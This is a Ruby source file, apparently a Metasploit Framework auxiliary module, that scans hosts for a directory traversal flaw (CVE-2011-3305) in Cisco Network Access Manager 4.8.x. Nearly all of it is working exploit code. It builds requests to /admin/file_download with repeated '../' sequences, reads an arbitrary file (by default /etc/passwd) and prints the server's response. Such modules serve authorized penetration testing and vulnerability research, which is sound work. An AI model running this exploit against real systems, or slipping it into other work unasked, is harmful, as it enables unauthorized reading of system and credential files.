79 lines
2.3 KiB
Ruby
79 lines
2.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',
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'Description' => %q{
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This module tests whether a directory traversal vulnerablity is present
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in versions of Cisco Network Access Manager 4.8.x You may wish to change
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FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.
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},
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'References' =>
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[
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[ 'CVE', '2011-3305' ],
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[ 'OSVDB', '76080'],
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[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20111005-nac.shtml' ],
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[ 'URL', 'http://dev.metasploit.com/redmine/issues/5673' ]
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],
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'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
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OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),
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], self.class)
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end
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def run_host(ip)
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traversal = '../../'
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part1= '/admin/file_download?tag='
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part2 = '&fileType=snapshot'
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begin
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print_status("Attempting to connect to #{rhost}:#{rport}")
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => '/admin',
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}, 25)
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if (res)
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1.upto(datastore['MAXDIRS']) do |level|
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try = traversal * level
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traversalstring = part1 + try + datastore['FILE'] + part2
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => traversalstring,
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}, 25)
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if (res and res.code == 200)
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print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}")
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break
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elsif (res and res.code)
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print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n")
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end
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end
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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